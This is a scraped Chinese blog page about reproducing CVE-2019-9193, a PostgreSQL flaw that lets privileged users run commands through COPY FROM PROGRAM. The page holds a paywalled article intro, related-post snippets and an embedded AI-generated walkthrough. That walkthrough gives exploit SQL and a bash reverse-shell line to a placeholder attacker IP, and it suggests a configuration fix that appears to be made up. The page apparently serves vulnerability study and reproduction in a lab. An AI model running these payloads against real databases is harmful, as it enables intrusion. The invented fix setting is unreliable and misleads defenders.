漏洞复现之PostgreSQL任意命令执行（CVE-2019-9193）

最新推荐文章于 2025-05-21 16:53:44 发布
最新推荐文章于 2025-05-21 16:53:44 发布
阅读量5.7k 收藏 4
点赞数 3
CC 4.0 BY-SA版权
分类专栏： 漏洞复现 文章标签： postgresql 提权 CVE-2019-9193 漏洞复现 SQL
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/Blood_Pupil/article/details/88795627

1.jpeg

PostgreSQL是当下最流行的数据库系统之一，它是 Mac OSX系统下最常用的数据库，但同时也提供了Windows及Linux操作系统版本。（Kali下Metasploit用的就是PostgreSQL数据库）

今天，我将要给大家介绍一个鲜为人知的PostgreSQL特性，这个特性允许数据库的特定用户在PostgreSQL环境中执行任意代码并且在PostgreSQL 9.3至最新版本（11.2）中这个特性是默认开启的。它将会影响所有安装了PostgreSQL的Windows，Linux以及Mac操作系统。

2.png

从9.3 版本开始，PostgreSQL实现了“COPY TO/FROM PROGRAM”这个新的功能，它允许数据库的超级用户以及“pg_read_server_files”组用户执行任意的操作系统命令。这意味着在数据库超级用户角色与运行此数据库的操作系统用户角色之间没有进行适当的权限的分离。

这是一种深度防御意识的的匮乏，早在2000年初，我们就在Microsoft SQL Server上见到过这种情况。当时Microsoft SQL Server默认开启xp_cmdshell这个函数，不过在Microsoft SQL Server 2005版本中这个函数被默认禁止。但是如此相似的漏洞重复出现看上是一件非常有趣的事，就像一个跳不出的魔咒。

3.png

由于这个漏洞介于权限提升和任意代码执行之间，它需

最低0.47元/天 解锁文章

200万优质内容无限畅学
【漏洞复现】PostgreSQL高权限命令执行(CVE-2019-9193)
飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘
02-01 613
这个漏洞是一个版本漏洞从9.3版本开始，Postgres新增了一个COPYTO/FROMPROGRAM功能，允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令利用的前提1、需要登录2、需要高权限所以要先弱口令爆破之后，然后查看是否是高权限。
postgre提权(CVE-2019-9193)
weixin_45701675的博客
11-18 1322
PostgreSQL是一款关系型数据库。其9.3到11版本中存在一处“特性”，管理员或具有“COPY TO/FROM PROGRAM”权限的用户，可以使用这个特性执行任意命令。 提权利用的是漏洞：CVE-2019-9193 CVE-2018-1058 本次演示CVE-2019-9193提权 复现步骤 开启测试环境 连接postgres 新建查询，执行 尝试读取敏感文件 cat /etc/passwd，低权限用户无权限查询 测试成功 ...
PostgreSQL从弱口令到RCE（CVE-2019-9193）
网络安全。
01-29 3620
0x01 简介 PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”，管理员或具有“COPY TO/FROM PROGRAM”权限的用户，可以使用这个特性执行任意命令。 0x02 影响版本 postgresql 9.3-11 0x03 漏洞复现 1、使用“超级弱口令”爆破处postgresql数据库账号密码。 2、使用“Navicat Premium”连接postgres...
（CVE-2019-9193）PostgreSQL 高权限命令执行漏洞
m0_48520508的博客
01-20 1011
0x00简介 PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统（RDBMS）。采用类似MIT的许可协议，允许开发人员做任何事情，包括在开源或闭源产品中商用，其源代码是免费提供的。 PostgreSQL特点： Ø 支持WINDOWS、Linux、Solaris、macOS 、BSD。 Ø 支持文本、图像、视频、声音等 Ø 支持ACID、关联完整性、数据库事务、Unicode多国语言。 Ø 支持临时表，与物化视图 Ø 支持SQL的许多功
系统安全实验：PostgreSQL任意命令执行漏洞（CVE-2019-9193）
最新发布
2301_78247767的博客
05-21 320
从9.3版本开始，Postgres新增了一个COPY TO/FROM PROGRAM功能，允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。具有数据库 服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。PostgreSQL 9.3 的可执行文件通常存于。提示：Flag在/etc/flag.txt文件下。目录，你可以将这个路径添加到。在当前终端会话里临时添加路径到。
PostgreSQL 高权限命令执行漏洞（CVE-2019-9193）
SoulCat
05-27 4220
PostgreSQL 高权限命令执行漏洞（CVE-2019-9193） 最美好的大概还是那些初识的日子，是对彼此不全然地了解又极度渴望了解的那段时光。 漏洞概述: PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执...
【CVE】CVE-2019-9193：PostgreSQL 任意命令执行漏洞
边扯边淡
08-01 4921
【CVE】CVE-2019-9193PostgreSQL任意命令执行漏洞
PostgreSQL任意命令执行（CVE-2019-9193）
GalaxySpaceX的博客
07-03 1433
PostgreSQL任意命令执行（CVE-2019-9193）
PostgreSQL 任意命令执行漏洞(CVE-2019-9193)
信息安全
10-03 1286
记一次授权攻击通过PostgreSql弱口令拿到服务器权限的事件。使用靶机复现攻击过程。
CVE-2019-9193 PostgreSQL 高权限命令执行漏洞
qq_51979295的博客
10-08 1218
康复训练
buuctf [Postgres]CVE-2019-9193
qq_1873822的博客
04-02 681
漏洞描述 PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统（RDBMS）。采用类似MIT的许可协议，允许开发人员做任何事情，包括在开源或闭源产品中商用，其源代码是免费提供的。 PostgreSQL特点： 支持WINDOWS、Linux、Solaris、macOS 、BSD。 支持文本、图像、视频、声音等 支持ACID、关联完整性、数据库事务、Unicode多国语言。 支持临时表，与物化视图 支持SQL的许多功能，例如复杂的SQL查询
（CVE-2019-9193）PostgreSQL 高权限命令执行漏洞的复现
m0_69801663的博客
12-23 1495
（CVE-2019-9193）PostgreSQL 高权限命令执行漏洞
PostgreSQL 高权限命令执行 (CVE-2019-9193)
qq_44657899的博客
10-08 1308
漏洞原理 PostgreSQL是当下最流行的数据库系统之一，它是 Mac OSX系统下最常用的数据库，但同时也提供了Windows及Linux操作系统版本。（Kali下Metasploit用的就是PostgreSQL数据库）. 漏洞成因是因为PostgreSQL的特性允许数据库的特定用户在PostgreSQL环境中执行任意代码并且在PostgreSQL 9.3-11.2版本中这个特性是默认开启的。 从9.3版本开始PostgreSQL实现了COPY TO/FROM PROGRAM这个新的功能，它允许数.
PostgreSQL高权限命令执行(CVE-2019-9193)漏洞复现&实战
jihaichen的博客
04-26 3183
一、漏洞利用 这个漏洞是一个版本漏洞 从9.3版本开始，Postgres新增了一个COPYTO/FROMPROGRAM功能，允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作 系统命令，利用的前提 1、需要登录2、需要高权限 所以要先弱口令爆破之后，然后查看是否是高权限。 这里之所以选择复现这个漏洞，因为其中的思路比较有意思，也就是看回显的思路。 先大体讲一下这个漏洞是怎么看回显的，他是通过命令执行然后把回显写入创建的一张表里面，下面来具体操作。 先删除你
postgresql 查看用户密码_PostgreSQL任意命令执行漏洞利用（CVE-2019-9193）
weixin_39539563的博客
11-24 591
最近没事曰曰内网，偶然发现了一个使用空密码的pg（是的，连爆破都省了）。用navicat连上去看了下几个库都是一些业务测试数据，没什么好收集；不死心，google了一下发现有个比较新的CVE好像可以操作一下~漏洞概述最近，安全研究人员披露了PostgreSQL实例代码执行漏洞（CVE-2019-9193）的漏洞细节。具有数据库 服务器 文件读取权限的攻击者可以利用此漏洞执行任意系统命令。从9....
PostgreSQL在Linux环境下的常用命令总结
忆往昔的博客
11-28 2704
PostgreSQL在Linux环境下的常用命令总结：查看、新增、修改、删除库表命令
PostgreSQL命令行工具psql常用命令
liu320yj的博客
08-27 5897
通常情况下操作数据库使用图形化客户端工具，在实际工作中，生产环境是不允许直接连接数据库主机，只能在跳板机上登录到Linux服务器才能连接数据库服务器，此时就需要使用到命令行工具。psql是PostgreSQL中的一个命令行交互式客户端工具，类似于Oracle数据库中的命令行工具sqlplus，允许用户输入SQL语句或命令，并将其发送给PostgreSQL服务器，再显示SQL语句或命令的执行结果。
CVE-2019–9193所谓的psql的提权漏洞？
公众号shadow sock7
03-27 1322
来源：https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 翻译：https://nosec.org/home/detail/2368.html 描述 PostgreSQL 从9.3到最新的11.2版本默认开启，影响L...
CVE-2019-9193复现
03-23
<think>嗯，我现在要复现CVE-2019-9193这个漏洞，但还不清楚具体步骤。首先，我需要了解一下这个漏洞的背景。好像这个漏洞和PostgreSQL有关，涉及到任意命令执行的问题。我记得PostgreSQL是一个开源的关系型数据库，对吧？那这个漏洞的成因是什么呢？可能涉及到数据库的某些功能被滥用，比如COPY命令或者其他什么功能？ 接下来，我应该查一下CVE-2019-9193的具体信息。根据公开的资料，这个漏洞允许经过身份验证的攻击者执行任意系统命令。影响版本应该是PostgreSQL 9.3到11版本。那复现这个漏洞的前提条件是什么呢？可能需要在数据库中有写权限的用户，比如能够创建表和执行COPY TO PROGRAM命令？ 好的，复现步骤大概包括几个部分：首先配置一个存在漏洞的PostgreSQL环境，然后利用COPY TO PROGRAM命令来执行系统命令。可能需要创建一个表，然后通过COPY命令将数据导入到程序中，从而触发命令执行。比如，创建一个表，插入恶意数据，然后使用COPY ... TO PROGRAM '命令'来执行系统命令，比如反弹shell或者创建文件。 不过，我需要确保测试环境的安全，避免影响其他系统。可能需要在虚拟机里安装一个旧版本的PostgreSQL，比如9.3到11之间的某个版本。安装完成后，创建测试用户和数据库，赋予相应的权限。然后登录这个用户，尝试执行攻击步骤。 具体步骤可能是这样的： 1. 使用psql或者其他客户端连接到目标数据库。 2. 创建一个表，比如CREATE TABLE cmd_exec(cmd_output text); 3. 然后执行COPY cmd_exec FROM PROGRAM 'id'; 这里id是系统命令，执行后结果会保存在表中。 4. 查询表，如果看到id命令的输出，说明漏洞存在，命令执行成功。 但这里可能有权限问题，比如用户是否有权执行COPY TO PROGRAM。PostgreSQL的配置文件中可能需要开启相关选项，比如允许执行程序。默认情况下，这些权限可能受限，所以可能需要调整配置，比如修改pg_hba.conf或者调整用户的权限。 另外，攻击者可能需要具有超级用户权限，或者被授予了适当的权限。比如，用户需要被授予pg_execute_server_program角色。但在存在漏洞的版本中，可能普通用户也能执行该命令，导致漏洞。 在复现过程中，可能遇到的问题包括如何正确安装旧版本的PostgreSQL，如何配置用户权限，以及如何构造有效的payload。可能需要查阅PostgreSQL的文档，确认COPY命令的使用方式，以及如何允许用户执行外部程序。 此外，复现成功后，可能需要验证结果，比如检查系统上是否创建了预期的文件，或者命令的输出是否正确返回到了数据库表中。同时，要注意到在较新的PostgreSQL版本中，这个漏洞已经被修复，所以需要确保测试环境使用的是受影响版本。 总结一下，复现步骤大致为： - 搭建存在漏洞的PostgreSQL环境（9.3-11） - 创建具有权限的用户 - 利用COPY TO PROGRAM执行系统命令 - 验证命令执行结果 在过程中需要注意权限配置和命令的正确构造，以及测试环境的安全隔离。</think>### CVE-2019-9193 复现指南 #### 漏洞背景 **CVE-2019-9193** 是 PostgreSQL 数据库中的一个高危漏洞，**影响版本为 9.3 至 11**。攻击者通过具有数据库写入权限的账户（如普通用户），可利用 `COPY TO PROGRAM` 命令执行任意操作系统命令，从而实现远程代码执行（RCE）。 --- #### 复现前提条件 1. **受影响版本**：PostgreSQL 9.3、9.4、9.5、9.6、10 或 11。 2. **用户权限**：攻击者需拥有以下权限： - 登录数据库的凭证（用户名/密码）。 - 允许执行 `COPY ... TO PROGRAM` 的权限（默认需超级用户权限，但部分配置可能放宽限制）。 --- #### 复现步骤 ##### 1. 搭建测试环境（以 Ubuntu 为例） ```bash # 安装旧版本 PostgreSQL（示例为 11 版本） sudo apt-get install postgresql-11 # 启动服务 sudo service postgresql start # 创建测试用户并赋予权限 sudo -u postgres psql -c "CREATE USER testuser WITH PASSWORD 'test123';" sudo -u postgres psql -c "ALTER USER testuser WITH SUPERUSER;" # 模拟放宽权限的场景 ``` --- ##### 2. 利用漏洞执行命令 **步骤说明**： - **连接数据库**：使用攻击者账户登录。 - **创建表**：用于存储命令执行结果。 - **执行命令**：通过 `COPY ... TO PROGRAM` 调用系统命令。 - **验证结果**：从表中读取命令输出。 ```sql -- 连接数据库 psql -U testuser -h 127.0.0.1 -d postgres -- 创建表 CREATE TABLE cmd_exec (cmd_output text); -- 执行系统命令（示例：查看当前用户） COPY cmd_exec FROM PROGRAM 'id'; -- 读取结果 SELECT * FROM cmd_exec; ``` **预期输出**： ``` cmd_output ----------------- uid=123(postgres) gid=456 groups=... ``` --- ##### 3. 高级利用（反弹 Shell） ```sql COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/攻击者IP/端口 0>&1"'; ``` --- #### 关键配置与修复 1. **漏洞根源**： - `COPY ... TO PROGRAM` 允许调用系统命令。 - 默认需超级用户权限，但错误配置可能允许普通用户使用。 2. **修复方案**： - 升级到 PostgreSQL 12 或更高版本。 - 限制用户权限：禁止普通用户执行 `COPY ... TO PROGRAM`。 - 修改 `postgresql.conf`：设置 `enable_server_side_program = off`（需重启服务）。 --- #### 注意事项 - **安全隔离**：复现需在虚拟机或隔离环境中进行。 - **权限最小化**：生产环境中避免赋予用户过高权限。 - **日志审计**：监控数据库日志中的可疑 `COPY` 操作。 通过以上步骤，可验证 CVE-2019-9193 的利用过程及修复方案。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值